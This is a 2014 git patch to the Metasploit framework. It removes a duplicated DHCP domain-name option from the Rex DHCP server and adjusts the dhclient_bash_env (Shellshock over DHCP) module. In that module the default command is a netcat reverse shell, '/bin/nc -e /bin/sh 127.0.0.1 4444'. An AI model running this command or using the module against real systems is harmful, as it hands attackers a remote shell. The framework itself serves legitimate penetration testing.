From e1f00a83bca88025e385f44d3c3be5139a98cedd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 26 Sep 2014 13:40:52 -0500 Subject: [PATCH] Fix Rex because domainname and domain_name were duplicated --- lib/rex/proto/dhcp/constants.rb | 1 - lib/rex/proto/dhcp/server.rb | 8 +++----- modules/auxiliary/server/dhclient_bash_env.rb | 3 +-- 3 files changed, 4 insertions(+), 8 deletions(-) diff --git a/lib/rex/proto/dhcp/constants.rb b/lib/rex/proto/dhcp/constants.rb index 2d2aef98f0..40956a65c5 100644 --- a/lib/rex/proto/dhcp/constants.rb +++ b/lib/rex/proto/dhcp/constants.rb @@ -22,7 +22,6 @@ OpRouter = 3 OpDomainName = 15 OpDns = 6 OpHostname = 0x0c -OpDomainname = 0x0f OpURL = 0x72 OpEnd = 0xff diff --git a/lib/rex/proto/dhcp/server.rb b/lib/rex/proto/dhcp/server.rb index efeb383be4..5fb07804bd 100644 --- a/lib/rex/proto/dhcp/server.rb +++ b/lib/rex/proto/dhcp/server.rb @@ -31,7 +31,6 @@ class Server self.myfilename << ("\x00" * (128 - self.myfilename.length)) source = hash['SRVHOST'] || Rex::Socket.source_address - self.domain_name = hash['DOMAINNAME'] || nil self.ipstring = Rex::Socket.addr_aton(source) ipstart = hash['DHCPIPSTART'] @@ -96,7 +95,7 @@ class Server self.pxepathprefix = "" self.pxereboottime = 2000 - self.domainname = hash['DOMAINNAME'] if hash.include?('DOMAINNAME') + self.domain_name = hash['DOMAINNAME'] || nil self.url = hash['URL'] if hash.include?('URL') end @@ -130,7 +129,7 @@ class Server allowed_options = [ :serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv, :pxeconfigfile, :pxepathprefix, :pxereboottime, :router, - :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domainname, :url + :give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url ] opts.each_pair { |k,v| @@ -159,7 +158,7 @@ class Server attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE - attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :domainname, :url + attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url protected @@ -324,7 +323,6 @@ protected pkt << dhcpoption(OpHostname, send_hostname) end end - pkt << dhcpoption(OpDomainname, self.domainname) if self.domainname pkt << dhcpoption(OpURL, self.url) if self.url pkt << dhcpoption(OpEnd) diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb index 1f3ccfe54b..5405584268 100644 --- a/modules/auxiliary/server/dhclient_bash_env.rb +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -46,10 +46,9 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) + OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) ], self.class) - deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') end